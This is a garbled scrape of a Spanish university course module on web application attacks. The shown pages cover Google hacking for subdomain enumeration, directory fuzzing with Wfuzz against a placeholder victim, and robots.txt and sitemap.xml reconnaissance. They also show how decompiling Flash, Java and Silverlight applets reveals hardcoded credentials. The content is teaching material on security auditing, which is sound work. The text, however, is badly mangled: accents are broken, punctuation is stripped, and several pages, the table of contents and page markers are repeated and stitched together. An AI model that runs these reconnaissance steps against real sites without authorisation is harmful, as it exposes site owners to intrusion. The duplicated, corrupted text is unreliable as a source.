HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 62: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 63: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

